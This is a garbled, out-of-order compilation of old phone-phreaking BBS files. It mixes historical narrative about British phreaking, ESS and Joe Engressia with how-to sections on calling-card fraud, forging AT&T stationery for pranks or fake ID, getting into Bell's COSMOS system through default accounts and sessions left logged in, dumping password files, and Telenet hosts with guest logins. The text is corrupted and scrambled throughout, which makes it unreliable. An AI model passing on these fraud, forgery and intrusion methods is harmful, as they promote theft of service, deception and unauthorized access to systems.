phone out of your house then here are some simple ways of getting conferences started from another phone. Go to a mall or a place where you know the phone is being payed for by the business it is in. Now there are two to call the conference operator; dial "0" to get your local operator so she can put you through to the conference operator or dial the conference operator directly if you have the numbe@r handy. The system you will be linked up to is called the "Alliance" system. there are three branches; 1000,2000,3000. Now once you have gotten the conference operator you tell her you would like to start a conference and you would like to maintain control of it. She will then proceed to ask you for your name and number. You will then give her a fake name and the number of the pay phone. She will hang up and call you back once she has checked the number. They usually don't r~g the same number that the card is being billed to you enter the phone number and at the tone only enter the last four digits on the card. But we don't want to do that now, do we. If additional calls are wanted all you do is hit the (#) and you will get a new dial tone! After you hit (#) you do not have to re-enter the calling card number simply enter your desired number and it will connect you. If the number you called is busy just keep hitting (#) and the number to be calleJG~d until you connect! Ok to calL the U.S. of a from another country, you use the exact same format as described above! OK now I will describe the procedure for placing calls to a foreign country, such as CANADA,RUSSIA,SOUTH AMERICA, etc.. Ok first lift the handset then enter (01) + the country code + the city code + the local telephone number. Ok after you get the tone enter the AT&T calling card number. Ok if you can not dial operator assisted calls from your area don't worry jF{@oust jingle the operator and she will handle your call, don't worry she can't see you! The international number on the AT&T calling card is used for calling the US of A from places like RUSSIA, CHINA you never know when you might get stuck in a country like those and you have no money to make a call! The international operator will be able to tell you if they honor the AT&T calling card. Well I hope that this has straightened out some of your problems on the use of an AT&T calling card! All you have to remember is that weather you are placing the call or the operator, be careful and never use the calling card from your home phone!! That is a BIG NO NO.. Also AT&T has came out with a new thing called (NEW CARD CALLER SERVICE) they say that it was designed to meet the public's needs! These phones will be popping up in many place such as airport terminals, hotels, etc... What the new card caller service is, is a new type of phone that has a (CRT) Vx8screen that will talk to you in a language of your choice. The service works something like this, when you find a (NEW CARD CALLER PHONE), all you do is follow the instructions on the (CRT) screen, then you insert the (NEW CARD CALLER CARD) and there is a strip of magnetic tape on the card which reads the number, thus no one can hear you saying your number or if there were a bug in the phone,no touch tones will be heard!! You can also bill the call to a third party. that is one th:4at I am not totally clear on yet! The phone is supposed to tell you how it can be done. That is after you have inserted your card and lifted the receiver! :%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%: :% %: :% AT&T FORGERY %: :% Written by The Blue Buccaneer %: :% Fy %: :% CALL THE EVERLASTING SPEED DEMON BBS AT (415) 522-3074 %: :% Uploaded by Elric of Imrryr of Lunatic Labs UnLtd %: :%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%: Here is a very simple way to either: [1] Play an incredibly cruel and realistic joke on a phreaking friend. -OR- [2] Provide yourself with everything you ever wanted to be an AT&T person. All you need to do is get yJour hands on some AT&T paper and/or business cards. To do this you can either go down to your local business office and swipe a few or call up somewhere like WATTS INFORMATION and ask them to send you their information package. They will send you: 1. A nice letter (with the AT&T logo letterhead) saying "Here is the info." 2. A business card (again with AT&T) saying who the sales representative is. 3. A very nice color booklet telling you all about WATTS lines. 4. Various billinUg information. (Discard as it is very worthless) Now take the piece of AT&T paper and the AT&T business card down to your local print/copy shop. Tell them to run you off several copies of each, but to leave out whatever else is printed on the business card/letter. If they refuse or ask why, take your precious business elsewhere. (This should only cost you around $2.00 total) Now take the copies home and either with your typewriter, MAC, or Fontrix, add whatever name, address,\2 telephone number, etc. you like. (I would recommend just changing the name on the card and using whatever information was on there earlier) And there you have official AT&T letters and business cards. As mentioned earlier, you can use them in several ways. Mail a nice letter to someone you hate (on AT&T paper..hehehe) saying that AT&T is onto them or something like that. (Be sure to use correct English and spelling) (Also do not hand write the letter! Use a typewriter! - NotCN# Fontrix as AT&T doesn't use OLD ENGLISH or ASCII BOLD when they type letters. Any IBM typewriter will do perfectly) Another possible use (of many, I guess) is (if you are old enough to look the part) to use the business card as some sort of fake id. The last example of uses for the fake AT&T letters & b.cards is mentioned in my textfile, BASIC RADIO CALLING. Briefly, send the station a letter that reads: WCAT - FM202: (Like my examples? Haha!) (As you probably know, K# and sends the info to the cosmos and the lfacs systems. The third part of the system is lfacs(loop facilities and control system). This is the component of facs that is responsible for maintaining the inventory, doing the assignments, administrating inquiries and reports, and is the inventory transformation center. This part of facs will be mostly used for aiding the at&t linemen. The Cosmos system (Computer System for Mainframe Operations) comprises the fourth part of the FmuY4ACS system. Cosmos is the component of facs that is responsible for maintaining the mechanized inventory of mdf facilities, storing custom call features (ie:speed dialing numbers), and other misc. info. The fifth and last piece of the FACS system is the Work Manager (WM). His component serves as the front-end processor for Cosmos. It enables a number of Cosmos computers to reliably communicate with the other FACS components. WM serves as the messages switching system for the FA:ICS pieces, and generally is the "messenger and stabilizer" of the system. The hardware that will run this facs system is: COSMOS: 22-WECO. 3B-20S MINI COMPS. WM: 6-WECO. 3B-20S MINI COMPS. SOAC-LFACS-PREMIS: TWO SPERRY UNIVAC 1100/92 Mainframes. BANCS 2 THP CYBER 1000 Processors. The FACS system is starting up at this very moment. This is basically a broad view of the FACS system. AT&T seems to think that FACS will be more efficient,8)H save them money in the long run, and save them workers (here come some massive layoffs!) What this means to phreakers and hackers is that you will now have at least five dial-ups in an area code with which you can phuck with AT&T! ..LATER.. ..SHARP RAZOR>> THE LEGION OF DOOM! (NOTE: THE FACS SYSTEM HAS RECENTLY BEEN PUT INTO OPERATION(SUMMER 84) IN ST.LOUIS MISSOURI) Telenet It seems that not many of you know that Telenet is connecte/Pd to about 80 computer-networks in the world. No, I don't mean 80 nodes, but 80 networks with thousands of unprotected computers. When you call your local Telenet-gateway, you can only call those computers which accept reverse-charging-calls. If you want to call computers in foreign countries or computers in USA which do not accept R-calls, you need a Telenet-ID. Did you ever notice that you can type ID XXXX when being connected to Telenet? You are then asked for the password. If  iyou have such a NUI (Network-User-ID) you can call nearly every host connected to any computer-network in the world. Here are some examples: 026245400090184 :Is a VAX in Germany (Username: DATEXP and leave mail for CHRIS !!!) 0311050500061 :Is the Los Alamos Integrated computing network (One of the hosts connected to it is the DNA (Defense Nuclear Agency)!!!) 0530197000016 :Is a BBS in New Zealand 024050256 :Is the S-E-Bank in StockhtXolm, Sweden (Login as GAMES !!!) 02284681140541 :CERN in Geneva in Switzerland (one of the biggest nuclear research centers in the world) Login as GUEST 0234212301161 :A Videotex-standard system.

Some of the countries have more than one packet-switching-network (USA has 11, Canada has 3, etc). OK. That should be enough for the moment. As you see most of the passwords are very simple. This is because they must not have any fear of hackers. Only a few German hackers use these networks. Most of the computers are absolutely easy to hack !!! So, try to find out some Telenet-ID's and leave them here. If you need more numbers, leave e-mail. I'm calling from Germany via the German Datex-P network, which is similar to Telenet. We have a lot of those NUI's for the German network, but none for a special Tymnet-outdial-computer in USA, which connects me to any phone #.

Phreaking AT&T Cards =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- My topic will deal with using an AT&T calling card for automated calls. OK to place a call with an AT&T card, lift the handset (PAY PHONE) hit (0) and the desired area code and the number to call. Also when callinztification =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- To get onto COSMOS you need a dialup, account, password, and wire center (WC). Wire centers are two letter codes that tell what section of the COSMOS you are in. There are different WC's for different areas and groups of exchanges. Examples are PB, SR, LK, etc. Sometimes there are accounts that have no password; obviously such accounts are the easiest to hack. Chec+oking It Out =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Let's suppose you have a COSMOS number which you obtained one way or another. The first thing to do would be to make sure it is really a COSMOS system, not some other Bell or AT&T computer. To do this, you would call it and connect your modem,, then hit some returns until you got a response. It should say: ';LOGIN:' or 'NAME:'. If you enter some garbage it should say: 'PASSWORD:'. If y1ou hit a return and it says 'WC?', it is a COSMOS system. If it says something like 'TA%' then you're in business. If it doesn't do any of the above, then it is either some other kind of system, or, if you're not getting anything at all, the dialup has probably gone bad. Getting In =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- COSMOS has certain accounts that are usually on the system, one of which might not have a passpword. They consist of ROOT (most powerful and almost always on the system), SYS (second most powerful, still many privileges), BIN (a little less power), PREOP (a little less), and COSMOS (hardly any privileges, like a normal user). The way to tell if they have passwords is by entering accounts at the ';LOGIN:' or ' NAME:' prompt, and if it jumps straight to 'WC?', all you need is a WC to get in. But suppose all of the accounts have passwords? You have two choices. You can try to haUck the password and WC to one of the above accounts. I won't deal with this method, as is self-explanatory. Or you can do something I find much easier...call the COSMOS during business hours and hope that someone forgot to log off. Keep calling until when you connect and hit return until you get a 'WC%' prompt. 'WC' is the WC that the account you found is currently in. You are now in! What to Do while on-line =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=[-=-=-=-=-=-=-=-=-=-=-=-=- The first thing you want to do is write down the WC you are in. Only on our first login it is a good idea to print everything or dump everything to a buffer. Commands =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- 'WCFLDS'(!) : Should list all WC's. 'WHO' : Should print everyone currently logged on the system, giving some accounts. 'TTY' : Tells what terminal port you ar=Te on. 'WHERE' : Should tell the location of the COSMOS installation. 'WHAT' : Tells what version of COSNIX, COSMOS's operating system, it is. 'LS *' : Prints all the files you have access to. 'CD /dir' : Connects you to the directory '/dir'. 'CAT filename ' : Prints the file 'filename'. 'Q' : Quits the editor. CTRL- Y. : Logs off 'TAT' : Sometimes prints a little help file. 'ISH' : Check someone's telefone #, typ@e 'ISH' at the COSMOS 'WC%' prompt. Then type. 'HTN XXX-XXXX' : (Hunt Telephone Number) to tell you about the local number you are interested in. 'CAT /ETC/PASSWD': Prints out the password file, if you have access. The passwords are almost always encrypted, but you get a list of all the accounts. If you are lucky, one of the lines will have two colons after the account name. This means there is no prompt from the ';LOGIN:' or 'NAME:' prompts when you enter that account. To run aY file just type the name followed by a return. When the system gives you a '-', you type a '.', and it will type all kinds of info on the phone number you entered (in Bell abbreviations, of course). If it is not a good exchange, it will say something to that effect. You type a period to end the ISH. If you wish to learn more information about COSMOS, find yourself a COSMOS manual or look at future issues of 2600. A UNIX manual would also be helpful for standard UNIX commands.+jS Facs facts A look at the new facs systems By SHARP RAZOR Bell atlantic (and probably the rest of the U.S. soon enough) is revamping cosmos. The project is called facs (facilitated assignment and control system). FACS is composed of 5 modules which are designed to function as a unified system. The premis and the cosmos systems can function as ST and-alone systems. The five parts of facs Tgare Premis, SOAC, LFacs, Cosmos, and the WM. The Premis (Premises Information System) supports both residence and business accounts. Premis is used for various inquiries for the street address guide(sag),ie::Phone numbers,billing charges,credit,etc. The second part of facs is the soac(service order analysis and control). This is primarily used to input service order data into facs, and to get the appropriate output. Soac interprets, validates, and decomposes all inputed data{jDng the 804 area code (Virginia) and found out that the 840 exchange did something strange. In the vast majority of cases, in fact in all of the cases except one, he would get a recording as if the exchange didn't exist. However, if he dialed 804-840 and four rather predictable numbers, he got a ring! After one or two rings, somebody picked up. Being experienced at this kind of thing, he could tell that the call didn't "supe", that is, no charges were being incurred for calling|`D this number. (Calls that get you to an error message, or a special operator, generally don't supervise.). A female voice, with a hint of a Southern accent said, "Operator, can I help you?" "Yes," he said, "What number have I reached?" "What number did you dial, sir?" He made up a number that was similar. "I'm sorry that is not the number you reached." Click. He was fascinated. What in the world was this? He knew he was going to call back, but before he did, h}_/e tried some more experiments. He tried the 840 exchange in several other area codes. In some, it came up as a valid exchange. In others, exactly the same thing happened -- the same last four digits, the same Southern belle. Oddly enough, he later noticed, the areas worked in seemed to travel in a beeline from Washington DC to Pittsburgh, PA. He called back from a payphone. "Operator, can I help you?" "Yes, this is the phone company. I'm testing this line and we don't seem t~No have an identification on your circuit. What office is this, please?" "What number are you trying to reach?" "I'm not trying to reach any number. I'm trying to identify this circuit." "I'm sorry, I can't help you." "Ma'am, if I don't get an ID on this line, I'll have to disconnect it. We show no record of it here." "Hold on a moment, sir." After about a minute, she came back. "Sir, I can have someone speak to you. Would you give me your number, please?" QHe had anticipated this and he had the payphone number ready. After he gave it, she said, "Mr. XXX will get right back to you." "Thanks." He hung up the phone. It rang. INSTANTLY! "Oh my God," he thought, "They weren't asking for my number -- they were confirming it!" "Hello," he said, trying to sound authoritative. "This is Mr. XXX. Did you just make an inquiry to my office concerning a phone number?" "Yes. I need an identi--" "What you need is advice. Don't eve,r call that number again. Forget you ever knew it." At this point our friend got so nervous he just hung up. He expected to hear the phone ring again but it didn't. Over the next few days he racked his brains trying to figure out what the number was. He knew it was something big -- that was pretty certain at this point. It was so big that the number was programmed into every central office in the country. He knew this because if he tried to dial any other number in that excY@hange, he'd get a local error message from his CO, as if the exchange didn't exist. It finally came to him. He had an uncle who worked in a federal agency. He had a feeling that this was government related and if it was, his uncle could probably find out what it was. He asked the next day and his uncle promised to look into the matter. The next time he saw his uncle, he noticed a big change in his manner. He was trembling. "Where did you get that number?!" he shouted. "Do you < know I almost got fired for asking about it?!? They kept wanting to know where I got it." Our friend couldn't contain his excitement. "What is it?" he pleaded. "What's the number?!" "IT'S THE PRESIDENT'S BOMB SHELTER!" He never called the number after that. He knew that he could probably cause quite a bit of excitement by calling the number and saying something like, "The weather's not good in Washington. We're coming over for a visit.". But our friend was smart. He knew pNthat there were some things that were better off unsaid and undone. This chapter is really just a bunch of FACS (pun intended). Here is where random facts that really have something to do with everything else but nothing to do with anything else, are presented. They cover various topics such as: Conferencing, Tracing, Pen registers, Calling cards, and some basic FMF (Fool the Mother Fuckers). The aspects covered here are very brief and could easily be covered much more thorou6Ŏghly, but it is no problem since they are not very important topics. Something that would make a very nice gift is covered in the article AT&T forgery. Just make up stationary with AT&T letter head and give it as a present to your phriends who would appreciate it. Phreaking COSMOS =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- COSMOS is Bell's computer for handling information on customer lines, special services on lines, a]nd orders to change line equipment, disconnect lines, etc. COSMOS stands for Computerized System for Mainframe Operations. It is based on the UNIX operating system and, depending upon the COSMOS and upon your access, has some, many, or no UNIX standard commands. COSMOS is powerful, but there is no reason to be afraid of it. This article will give some of the basic, pertinent info on how users get in, account format, and a few other goodies. Password Idenp e commonly known in the U.S.-- scanning. What they did was put in likely signals and listened to find out if they succeeded. The results of scanning were circulated to other phreaks. Discovering each other took time at first, but eventually the phreaks became organized. The "Tap" of Britain was called "Undercurrents" which enabled British phreaks to share the info on new numbers, equipment etc. To understand what the British did, think of the phone network in three layers of linq Qes: Local, Trunk, and International. In the UK, subscriber trunk dialing (STD), is the mechanism which takes a call from the local lines and (Legitimately) elevates it to a trunk or international level. The UK phreaks figured that a call at trunk level can be routed through any number of exchanges, provided that the right routing codes were found and used correctly. They also had to discover how to get from local to trunk level either without being charged (which they did with a blr 5eeper box) or without using (STD). Chaining has already been mentioned but it requires long strings of digits and speech gets more and more faint as the chain grows, just like it does when you stack trunks back and forth across the U.S. The way the security reps snagged the phreaks was to put a simple 'printermeter' or as we call it: A Pen Register on the suspects line, which shows every digit dialed from the subscribers line. The British prefer to get onto the trunks rather ths j$han chaining. One way was to discover where local calls use the trunks between neighboring exchanges, start a call and stay on the trunk instead of returning to the local level on reaching the distant switch. This again required exhaustive dialing and made more work for Titan; It also revealed 'Fiddles', which were inserted by Post Office engineers. What fiddling means is that the engineers rewired the exchanges for their own benefit. The equipment is modified to give access to a t F&trunk with out being charged, an operation which is pretty easy in step by step (SxS) electromechanical exchanges, which were installed in britain even in the 1970s (Note: I know of a back door into the canadian system on a 4A Co., so if you are on sxs or a 4a, try scanning 3 digit exchanges, ie: dial 999,998,997 etc.#and listen for the beep-kerchink, if there are no 3 digit codes which allow direct access to a tandem in your local exchange and bypasses the AMA so you won't be billeu@ ld, not have to blast 2600 every time you wish to Box a call. A famous British 'Fiddler' revealed in the early 1970s worked by dialing 173. The caller then added the trunk code of 1 and the subscribers local number. At that time, most engineering test services began with 17x, so the engineers could hide their fiddles in the nest of service wires. When security reps started searching, the fiddles were concealed by tones signalling: 'Number unobtainalbe' or 'Equipment engaged' whicvfh switched off after a delay. The necessary relays are small and easily hidden. There was another side to phreaking in the UK in the sixties. Before STD was widespread, many 'ordinary' people were driven to. Occasional phreaking from sheer frustration at the inefficient operator controlled trunk system. This came to a head during a strike about 1961 when operators could not be reached. Nothing complicated was needed. Many operators had been in the habit of repeating the codwQPes as they dialled the requested numbers so people soon learnt the numbers they called frequently. The only 'trick' was to know which exchanges could be dialled through to pass on the trunk number. Callers also needed a pretty quiet place to do it, since timing relative to clicks was important the most famous trial of British Phreaks was called the old Baily Trial. Which started on 3 Oct. 1973. What the phreaks did was to dial a spare number at a local call rate but involving a trunkx*c\ to another exchange then they send a 'Clear Forward' to their local exchange, indicating to it that the call is finished; But the distant exchange doesn't realize because the caller's phone is still off the hook. They now have an open line into the distant trunk exchange and sends to it a 'seize' signal:'1' Which puts him onto its outgoing lines now, if they know the codes, the world is open to them. All other exchanges trust his local exchange to handle the billing; They just inteyG/rpret the tones they hear. Mean while, the local exchange collects only for a local call. The investigators discovered the phreaks holding a conference somewhere in england surrounded by various phone equipment and bleeper boxes, also printouts listing 'secret' Post Office codes. (They probably got them from trashing?) The judge said: "Some take to heroin, some take to telephones" for them Phone Phreaking was not a crime but a hobby to be shared with phellow enthusiasts and discusszaVed with the Post Office openly over dinner and by mail. Their approach and attitude to the worlds largest computer, the global telephone system, was that of scientists conducting experiments or programmers and engineers testing programs and systems. The judge appeared to agree, and even asked them for phreaking codes to use from his local exchange!!! Bad as Shit A telephone fanatic in the northwest made an interesting discovery. He was exploriekrwon and costs mounted, there was a concern at AT&T and some-thing approaching panic at Bell Labs. But the project had to go forward; by this time the investment was too great to be sacrificed, and in any case, forward projections of increased demand for telephone service indicated that within a phew years a time would come when, without the quantum leap in speed and flexibility that electronic switching would provide, the national network would be unable to meet the demand. In Novemf_`ber 1963, an all-electronic switching system went into use at the Brown Engineering Company at Cocoa Beach, Florida. But this was a small installation, essentially another test installation, serving only a single company. Kappel's tone on the subject in the 1964 annual report was, for him, an almost apologetic: "Electronic switching equipment must be manufactured in volume to unprecedented standards of reliability.... To turn out the equipment economically and with good speed, mass gG)pproduction methods must be developed; but, at the same time, there can be no loss of precision..." Another year and millions of dollars later, on May 30, 1965, the first commercial electric central office was put into service at Succasunna, New Jersey. Even at Succasunna, only 200 of the town's 4,300 subscribers initially had the benefit of electronic switching's added speed and additional services, such as provision for three party conversations and automatic transfer of incomhOping calls. But after that, ESS was on its way. In January 1966, the second commercial installation, this one serving 2,900 telephones, went into service in Chase, Maryland. By the end of 1967 there were additional ESS offices in California, Connecticut, Minnesota, Georgia, New York, Florida, and Pennsylvania; by the end of 1970 there were 120 offices serving 1.8 million customers; and by 1974 there were 475 offices serving 5.6 million customers. The difference between conventioni/ }al switching and electronic switching is the difference between "hardware" and "software"; in the former case, maintenance is done on the spot, with screwdriver and pliers, while in the case of electronic switching, it can be done remotely, by computer, from a central point, making it possible to have only one or two technicians on duty at a time at each switching center. The development program, when the final figures were added up, was found to have required a staggering four j!D thousand man-years of work at Bell Labs and to have cost not $45 million but $500 million! $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ $ $ $ THE HISTORY OF BRITISH PHREAKING $ $ -=- -=-=-=- -- -=-=-=- -=-=-=-=- $ $ $ $ THE SECOND IN A SERIES OF $ $ THE HISTOk,"(RY OF.....PHILES $ $ $ $ WRITTEN AND UPLOADED BY: $ $ $ $$$$$$$$$$$$-=>LEX LUTHOR<=-$$$$$$$$$$$ $ AND $ $ THE LEGION OF DOOM! $ $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ NOTE: THE BRITISH POST OFFICE, IS THE UlY#.S. EQUIVALENT OF MA BELL. In Britain, phreaking goes back to the early fifties, when the technique of 'toll a drop back' was discovered. Toll a was an exchange near St.Pauls which routed calls between London and nearby non-London exchanges. The trick was to dial an unallocated number, and then depress the receiver-rest for 1/2 second. This flashing initiated the 'clear forward' signal, leaving the caller with an open line into the toll a exchange. He could then dial 018, which m쑝forwarded him to the trunk exchange at that time, the first long distance exchange in Britain and follow it with the code for the distant exchange to which he would be connected at no extra charge. The signals needed to control the UK network today were published in the "Institution of Post Office Engineers Journal" and reprinted in the Sunday Times (15 Oct. 1972). The signalling system they use: Signalling system no.3 uses pairs of frequencies selected from 6 tones separatenP{d by 120HZ. With that info, the phreaks made "bleepers" or as they are called here in the U.S. "Blue Box", but they do utilize different MF tones than the U.S., Thus, your U.S. Blue Box that you smuggled into the UK will not work, unless you change the frequencies. In the early seventies, a simpler system based on different numbers of pulses with the same frequency (2280hz) was used. For more info on that, try to get a hold of: Atkinson's "Telephony and Systems Technology". oqk In the early days of British phreaking, the Cambridge University Titan computer was used to record and circulate numbers found by the exhaustive dialing of local networks. These numbers were used to create a chain of links from local exchange to local exchange across the country, bypassing the trunk circuits Because the internal routing codes in the UK network are not the same as those dialed by the caller, the phreaks had to discover them by 'probe and listen' techniques or morZHed him to two thirty-day sentences to be served concurrently and then suspended the sentence on condition that Joe promise never to play with phones again. Joe promised, but the phone company refused to restore his service. For two weeks after the trial Joe could not be reached except through the pay phone at his apartment house, and the landlord screened all calls for him. Phone-phreak Carl managed to get through to Joe after the trial, and reported that Joe sounded crushed by [ -gthe whole affair. "What I'm worried about," Carl told me, "is that Joe means it this time. The promise. That he'll never phone-phreak again. That's what he told me, that he's given up phone-phreaking for good. I mean his entire life. He says he knows they're going to be watching him so closely for the rest of his life he'll never be able to make a move without going straight to jail. He sounded very broken up by the whole experience of being in jail. It was awful to hear him t\!alk that way. I don't know. I hope maybe he had to sound that way. Over the phone, you know." He reports that the entire phone-phreak underground is up in arms over the phone company's treatment of Joe. "All the while Joe had his hopes pinned on his application for a phone-company job, they were stringing him along getting ready to bust him. That gets me mad. Joe spent most of his time helping them out. The bastards. They think they can use him as an example. All of sudden they'r]"-Ie harassing us on the coast. Agents are jumping up on our lines. They just busted ------'s mute yesterday and ripped out his lines. But no matter what Joe does, I don't think we're going to take this lying down." Two weeks later my phone rings and about eight phone phreaks in succession say hello from about eight different places in the country, among them Carl, Ed, and Captain Crunch. A nationwide phone-phreak conference line has been reestablished through a switching machine in^#8< --------, with the cooperation of a disgruntled switchman. "We have a special guest with us today," Carl tells me. The next voice I hear is Joe's. He reports happily that he has just moved to a place called Millington, Tennessee, fifteen miles outside of Memphis, where he has been hired as a telephone-set repairman by a small independent phone company. Someday he hopes to be an equipment troubleshooter. "It's the kind of job I dreamed about. They found out about me from_$SŶ the publicity surrounding the trial. Maybe Ma Bell did me a favor busting me. I'll have telephones in my hands all day long." "You know the expression, 'Don't get mad, get even'?" phone-phreak Carl asked me. "Well, I think they're going to be very sorry about what they did to Joe and what they're trying to do to us." $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ $ $ $ THE HISTORY `%UoOF ESS $ $ --- ------- -- --- $ $ $ $ $ $ Another original phile by: $ $ $ $ $ $$$$$$$$$$$$-=>Lex Luthor<=-$$$$$$$$$$$ $ a&r $ $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ Of all the new 1960s wonders of telephone technology - satellites, ultra modern Traffic Service Positions (TSPS) for operators, the picturephone, and so on - the one that gave Bell Labs the most trouble, and unexpectedly became the greatest development effort in Bell System's history, was the perfection of an electronic switching system, or ESS. It may be recalled that such a system was the specific end b'FUin view when the project that had culminated in the invention of the transistor had been launched back in the 1930s. After successful accomplishment of that planned miracle in 1947-48, further delays were brought about by financial stringency and the need for further development of the transistor itself. In the early 1950s, a Labs team began serious work on electronic switching. As early as 1955, Western Electric became involved when five engineers from the Hawthorne works were assigc(|DBned to collaborate with the Labs on the project. The president of AT&T in 1956, wrote confidently, "At Bell Labs, development of the new electronic switching system is going full speed ahead. We are sure this will lead to many improvements in service and also to greater efficiency. The first service trial will start in Morris, Ill., in 1959." Shortly thereafter, Kappel said that the cost of the whole project would probably be $45 million. But it gradually became apparent that thedÙ development of a commercially usable electronic switching system -in effect, a computerized telephone exchange - presented vastly greater technical problems than had been anticipated, and that, accordingly, Bell Labs had vastly underestimated both the time and the investment needed to do the job. The year 1959 passed without the promised first trial at Morris, Illinois; it was finally made in November 1960, and quickly showed how much more work remained to be done. As time dragged O*nZtercept non working-number recording in L.A.- I was calling L.A. as far back a s that, but I'd mainly dial non working numbers because there was no charge, and I'd listen to these recordings all day. Well, I was whistling 'cause listening to these recordings can be boring after a while even if they are from L.A., and all of a sudden, in the middle of whistling, the recording clicked off. I fiddled around whistling some more, and the same thing happened. So I called up the switch roP+ :kom and said, 'I'm Joe. I'm eight years old and I want to know why when I whistle this tune the line clicks off.' He tried to explain it to me, but it was a little too technical at the time. I went on learning. That was a thing nobody was going to stop me from doing. The phones were my life, and I was going to pay any price to keep on learning. I knew I could go to jail. But I had to do what I had to do to keep on learning." The phone is ringing when we walk back into Joe's apartQ,qment on Union Avenue. It is Captain Crunch. The Captain has been following me around by phone, calling up everywhere I go with additional bits of advice and explanation for me and whatever phone phreak I happen to be visiting. This time the Captain reports he is calling from what he describes as "my hideaway high up in the Sierra Nevada." He pulses out lusty salvos of M-F and tells Joe he is about to "go out and get a little action tonight. Do some phreaking of another kind, if youR-w know what I mean." Joe chuckles. The Captain then tells me to make sure I understand that what he told me about tying up the nation's phone lines was true, but that he and the phone phreaks he knew never used the technique for sabotage. They only learned the technique to help the phone company. "We do a lot of troubleshooting for them. Like this New Hampshire/Missouri WATS-line flaw I've been screaming about. We help them more than they know." After we say good-bye to thS.qT:e Captain and Joe whistles him off the line, Joe tells me about a disturbing dream he had the night before: "I had been caught and they were taking me to a prison. It was a long trip. They were taking me to a prison a long long way away. And we stopped at a Holiday Inn and it was my last night ever using the phone and I was crying and crying, and the lady at the Holiday Inn said, 'Gosh, honey, you should never be sad at a Holiday Inn. You should always be happy here. Especially siT/>nce it's your last night.' And that just made it worse and I was sobbing so much I couldn't stand it." Two weeks after I left Joe Engressia's apartment, phone-company security agents and Memphis police broke into it. Armed with a warrant, which they left pinned to a wall, they confiscated every piece of equipment in the room, including his toy telephone. Joe was placed under arrest and taken to the city jail where he was forced to spend the night since he had no money and knew nU03rHo one in Memphis to call. It is not clear who told Joe what that night, but someone told him that the phone company had an open-and-shut case against him because of revelations of illegal activity he had made to a phone-company undercover agent. By morning Joe had become convinced that the reporter from Esquire, with whom he had spoken two weeks ago, was the undercover agent. He probably had ugly thoughts about someone he couldn't see gaining his confidence, listening to him V1wp"talk about his personal obsessions and dreams, while planning all the while to lock him up. "I really thought he was a reporter," Engressia told the Memphis Press-Seminar. "I told him everything...." Feeling betrayed, Joe proceeded to confess everything to the press and police. As it turns out, the phone company did use an undercover agent to trap Joe, although it was not the Esquire reporter. Ironically, security agents were alerted and began to compile a case against JW2!oe because of one of his acts of love for the system: Joe had called an internal service department to report that he had located a group of defective long-distance trunks, and to complain again about the New Hampshire/Missouri WATS problem. Joe always liked Ma Bell's lines to be clean and responsive. A suspicious switchman reported Joe to the security agents who discovered that Joe had never had a long-distance call charged to his name. Then the security agents learned that JX3w^oe was planning one of his phone trips to a local switching office. The security people planted one of their agents in the switching office. He posed as a student switchman and followed Joe around on a tour. He was extremely friendly and helpful to Joe, leading him around the office by the arm. When the tour was over he offered Joe a ride back to his apartment house. On the way he asked Joe -- one tech man to another -- about "those blue boxers" he'd heard about. Joe talked about tYΒhem freely, talked about his blue box freely, and about all the other things he could do with the phones. The next day the phone-company security agents slapped a monitoring tape on Joe's line, which eventually picked up an illegal call. Then they applied for the search warrant and broke in. In court Joe pleaded not guilty to possession of a blue box and theft of service. A sympathetic judge reduced the charges to malicious mischief and found him guilty on that count, sentencD5+)* * by Ron Rosenbaum * * Typed by One Farad Cap/AAG * * * * -A story so incredible it may even make you * * feel sorry for the phone company- * * * * (Fourth of four files) E6- * * * * +----------------------------------------------+ * * * ***** The AAG Proudly Presents The AAG Proudly Presents ***** The Big Memphis Bust Joe Engressia never wanted to screw Ma Bell. His dream had always been to work for her. The day I visited Joe in his small apartment on Union Avenue in Memphis,F7t ;_ he was upset about another setback in his application for a telephone job. "They're stalling on it. I got a letter today telling me they'd have to postpone the interview I requested again. My landlord read it for me. They gave me some runaround about wanting papers on my rehabilitation status but I think there's something else going on." When I switched on the 40-watt bulb in Joe's room -- he sometimes forgets when he has guests -- it looked as if there was enough telephoneG8J hardware to start a small phone company of his own. There is one phone on top of his desk, one phone sitting in an open drawer beneath the desk top. Next to the desk-top phone is a cigar-box-size M-F device with big toggle switches, and next to that is some kind of switching and coupling device with jacks and alligator plugs hanging loose. Next to that is a Braille typewriter. On the floor next to the desk, lying upside down like a dead tortoise, is the half-gutted body of an H9old black standard phone. Across the room on a torn and dusty couch are two more phones, one of them a touch-tone model; two tape recorders; a heap of phone patches and cassettes, and a life-size toy telephone. Our conversation is interrupted every ten minutes by phone phreaks from all over the country ringing Joe on just about every piece of equipment but the toy phone and the Braille typewriter. One fourteen-year-old blind kid from Connecticut calls up and tells Joe he's got I:a girl friend. He wants to talk to Joe about girl friends. Joe says they'll talk later in the evening when they can be alone on the line. Joe draws a deep breath, whistles him off the air with an earsplitting 2600-cycle whistle. Joe is pleased to get the calls but he looked worried and preoccupied that evening, his brow constantly furrowed over his dark wandering eyes. In addition to the phone-company stall, he has just learned that his apartment house is due to be demolished in sixJ;Rimty days for urban renewal. For all its shabbiness, the Union Avenue apartment house has been Joe's first home-of-his-own and he's worried that he may not find another before this one is demolished. But what really bothers Joe is that switchmen haven't been listening to him. "I've been doing some checking on 800 numbers lately, and I've discovered t hat certain 800 numbers in New Hampshire couldn't be reached from Missouri and Kansas. Now it may sound like a small thing, but I dK<%on't like to see sloppy work; it 